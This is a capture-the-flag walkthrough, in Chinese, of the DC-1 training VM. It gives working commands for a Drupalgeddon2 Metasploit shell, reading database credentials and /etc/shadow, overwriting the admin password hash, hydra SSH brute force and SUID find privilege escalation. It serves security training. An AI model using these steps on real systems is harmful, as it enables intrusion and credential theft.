DC-1靶场渗透测试-suid提权-Drupal 7-GetShell Kali-whatweb-nmap-arp使用

准备靶机

DC-1靶场渗透测试:SUID提权与Drupal 7 GetShell实战

涉及工具:Kali Linux、whatweb、nmap、arp-scan、dirsearch、msfconsole、hydra
核心目标:完成DC-1靶场全流程渗透,获取5个flag并通过SUID提权至root权限

其他靶机

一、准备靶机

1.1 下载与解压

解压后得到以下文件,包含虚拟机镜像及配置信息:

图1-1 靶机解压后文件列表

1.2 导入虚拟机

  1. 打开VMware,选择「文件」→「打开」,加载靶机的.vmx文件;
  2. 导入过程中可能出现兼容性报错,点击「重试」即可继续,无需额外配置:

    图1-2 导入报错提示

    图1-3 点击「重试」继续导入
  3. 导入完成后,虚拟机列表将显示「DC-1」,此时靶机准备就绪:

    图1-4 靶机导入成功

二、局域网信息收集

靶机IP未知,需先通过扫描工具识别局域网内存活主机,定位DC-1的IP地址。

2.1 Nmap主机存活扫描

Nmap是网络发现与安全审计工具,-sn参数仅扫描主机存活(不进行端口扫描),避免触发目标防护。

1
2
# Kali终端执行,192.168.20.0/24为本地局域网段(需根据实际环境修改)
nmap -sn 192.168.20.0/24

扫描结果将显示局域网内所有存活主机的IP与MAC地址:

图2-1 Nmap主机存活扫描结果

2.2 ARP-Scan精准定位

arp-scan通过ARP协议扫描本地网络,可直接关联IP与MAC地址,结合VMware虚拟机配置中的MAC地址,精准定位靶机IP。

1
2
# 扫描本地局域网所有主机
arp-scan -l


图2-2 arp-scan扫描结果

确认靶机IP

  1. 打开DC-1虚拟机的「设置」→「网络适配器」→「高级」,查看靶机MAC地址(如00:0C:29:AC:35:D5);

    图2-3 靶机MAC地址(VMware配置)
  2. 对比arp-scan结果,找到对应MAC地址的IP:192.168.20.153(后续渗透均基于此IP);

    图2-4 靶机IP确认

三、深度信息收集

定位靶机IP后,需进一步探测端口、服务版本、CMS类型等信息,为后续渗透找突破口。

3.1 Nmap端口与系统探测

-O参数开启操作系统版本探测,扫描靶机开放端口及对应服务:

1
nmap -O 192.168.20.153

扫描结果分析

1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 21:44 CST
Nmap scan report for 192.168.20.153
Host is up (0.00027s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:AC:35:D5 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.59 seconds

关键信息:

  • 仅开放80端口,运行Apache 2.2.22(Debian系统)
  • 无其他端口开放,渗透突破口集中在Web服务。

3.2 WhatWeb识别Web技术栈

WhatWeb是Web技术识别工具,可自动检测CMS、编程语言、前端框架等信息:

1
2
# -v参数开启详细模式,输出更多识别结果
whatweb -v 192.168.20.153


图3-1 WhatWeb扫描结果

核心信息汇总

关键信息类别 具体内容
Web服务器版本 Apache 2.2.22
操作系统环境 Debian Linux(Apache/2.2.22 (Debian))
内容管理系统(CMS) Drupal 7(官方链接:http://drupal.org)
前端技术 JQuery(Script类型:text/javascript)
后端编程语言及版本 PHP 5.4.45-0+deb7u14(X-Powered-By:PHP/5.4.45-0+deb7u14)

3.3 访问Web页面与Wappalyzer验证

  1. 浏览器访问http://192.168.20.153,确认Drupal 7默认页面:

    图3-2 Drupal 7默认页面
  2. 安装浏览器扩展「Wappalyzer」,再次验证技术栈(与WhatWeb结果一致):

    图3-3 Wappalyzer验证结果

四、渗透环节:GetShell与Flag获取

4.1 目录FUZZ(Dirsearch)

Dirsearch是Web路径扫描工具,用于暴力破解Drupal的隐藏目录/文件,寻找配置文件或漏洞入口:

1
2
# -u:目标URL;-e*:探测所有常见后缀(php、txt、html等)
dirsearch -u http://192.168.20.153 -e*

关键结果

1
[22:02:41] 200 -  768B  - /COPYRIGHT.txt  # Drupal版权文件,确认CMS版本一致性


图4-1 Dirsearch扫描结果

4.2 Metasploit利用Drupal漏洞GetShell

Drupal 7存在多个远程代码执行漏洞,其中「Drupalgeddon 2(SA-CORE-2018-002)」漏洞等级为excellent,可直接GetShell。

步骤1:启动MSF控制台

1
msfconsole


图4-2 启动MSF控制台

步骤2:搜索Drupal漏洞模块

1
search Drupal  # 筛选可GetShell的漏洞模块


图4-3 搜索Drupal漏洞模块

步骤3:选择并配置漏洞模块

优先选择exploit/unix/webapp/drupal_drupalgeddon2(Drupalgeddon 2漏洞),适配Drupal 7:

1
2
3
4
5
6
7
8
9
10
11
# 1. 加载漏洞模块
use exploit/unix/webapp/drupal_drupalgeddon2

# 2. 查看模块参数
show options

# 3. 设置靶机IP(RHOSTS)
set RHOSTS 192.168.20.153

# 4. 确认参数(LHOST为Kali本地IP,默认已自动填充)
show options


图4-4 配置漏洞模块参数

图4-5 确认RHOSTS设置

步骤4:执行攻击与获取Shell

1
exploit  # 启动攻击

攻击成功后,将获取Meterpreter会话,输入shell切换为目标系统终端:

1
shell  # 从Meterpreter切换到系统shell


图4-6 攻击成功获取Meterpreter会话

图4-7 切换为系统shell

步骤5:完善交互Shell

默认shell功能有限,通过Python生成/bin/bash完善交互(支持命令补全、上下键历史):

1
python -c 'import pty; pty.spawn("/bin/bash")'


图4-8 完善交互shell

4.3 获取Flag1(数据库配置文件)

Flag1提示:“所有优秀的CMS都需要一个配置文件,你也不例外”
Drupal 7的核心配置文件路径为/var/www/sites/default/settings.php,查看该文件获取数据库账号密码:

1
2
# 查看配置文件
cat /var/www/sites/default/settings.php


图4-9 Flag1位置

图4-10 查看配置文件内容

数据库关键信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb', # 数据库名
'username' => 'dbuser', # 数据库用户名
'password' => 'R0ck3t', # 数据库密码
'host' => 'localhost', # 数据库地址(本地)
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

4.4 数据库操作与修改Admin密码(获取Flag2)

步骤1:登录MySQL数据库

使用配置文件中的账号密码登录MySQL:

1
mysql -udbuser -pR0ck3t  # -u:用户名;-p:密码(直接跟在-p后,无空格)


图4-11 登录MySQL数据库

步骤2:查询Drupal用户表

Drupal的用户信息存储在drupaldb数据库的users表中,密码采用Drupal专用哈希加密:

1
2
3
4
5
6
7
8
# 1. 切换到drupaldb数据库
use drupaldb;

# 2. 查看users表结构(确认密码字段)
desc users;

# 3. 查询管理员账号(name为admin)
select name, pass from users;


图4-12 查询users表中的管理员密码(加密)

步骤3:生成Drupal密码哈希

Drupal密码无法直接解密,需生成新哈希覆盖原有密码。利用Drupal自带的密码生成脚本:

  1. 切换到Drupal根目录:cd /var/www
  2. 执行密码生成脚本(生成密码admin123的哈希):
    1
    ./scripts/password-hash.sh admin123
    生成的哈希:$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8

    图4-13 生成新密码哈希

步骤4:更新Admin密码

1
2
# 更新admin用户的密码为新哈希
update users set pass = "$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8" where name = 'admin';


图4-14 覆盖管理员密码

4.5 登录Drupal后台获取Flag3

  1. 浏览器访问http://192.168.20.153/user,使用账号admin、密码admin123登录;
  2. 登录后在「Dashboard」页面找到Flag3:

    图4-15 Drupal后台Flag3

Flag3提示:“特殊权限(Special PERMS)将有助于找到 passwd 文件 —— 但你需要使用 -exec(find 命令参数)来运行相关命令,进而获取 shadow 影子密码文件内容”

4.6 爆破Flag4用户(Hydra)

步骤1:查看/etc/shadow文件

/etc/shadow存储用户密码哈希,发现存在flag4用户:

1
cat /etc/shadow


图4-16 /etc/shadow中的flag4用户

步骤2:Hydra爆破SSH密码

DC-1开放SSH服务(默认22端口),使用Hydra(九头蛇)爆破flag4用户密码:

1
2
# -l:指定用户名(flag4);-P:密码字典;ssh://目标IP
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.20.153


图4-17 Hydra爆破成功(密码:orange)

步骤3:SSH登录Flag4用户与获取Flag4

1
2
3
4
5
# SSH登录flag4用户
ssh flag4@192.168.20.153

# 输入密码orange,登录后查看当前目录的flag4.txt
cat flag4.txt

Flag4提示:“你能使用同样的方法来找到或访问根目录(root)下的目标标识文件(flag)吗?或许可以。但这可能没那么简单。不过,也说不定其实很简单呢?”

图4-18 获取Flag4

五、SUID提权至Root(获取最终Flag)

5.1 SUID权限原理

SUID(Set User ID)是Linux特殊权限:用户执行带有SUID权限的文件时,将临时获得文件所有者的权限(若文件所有者为root,则执行时获得root权限)。

5.2 查找SUID权限文件

通过find命令搜索系统中所有带有SUID权限的文件(-perm -u=s表示用户权限含SUID):

1
2

find / -perm -u=s -type f 2>/dev/null


图5-1 查找SUID文件(find命令含SUID权限)

关键发现:/usr/bin/find带有SUID权限,且所有者为root——可通过find-exec参数执行命令,临时获得root权限。

5.3 利用Find提权至Root

find-exec参数可在找到文件后执行指定命令,结合SUID权限执行/bin/sh,直接获取root shell:

1
2
# 任意找一个存在的文件(如index.php),通过-exec执行/bin/sh
find / -name index.php -exec "/bin/sh" \;

执行后,输入whoami验证权限——已切换为root:

图5-2 利用find提权至root

5.4 获取最终Flag(root目录)

root目录下的thefinalflag.txt为最终目标:

1
2
3
4
5
# 切换到root目录
cd /root

# 查看最终flag
cat thefinalflag.txt


图5-3 最终Flag内容

最终Flag提示:“做得好!!!希望你喜欢这次体验,并且学到了一些新技能。你可以通过 Twitter 联系我(@DCAU7),告诉我你对这段小旅程的看法”

六、渗透总结

阶段 核心操作 工具/漏洞 目标成果
信息收集 主机存活扫描、端口探测、CMS识别 nmap、arp-scan、whatweb 定位靶机IP(192.168.20.153)、识别Drupal 7
GetShell 利用Drupalgeddon 2漏洞远程代码执行 msfconsole 获取系统shell(www-data权限)
权限提升(1) 读取数据库配置、修改Drupal管理员密码 MySQL、Drupal密码脚本 登录后台获取Flag3
权限提升(2) Hydra爆破SSH、SUID提权(find命令) hydra、find 获得root权限
目标达成 获取5个Flag(含最终root目录Flag) —— 完成DC-1全流程渗透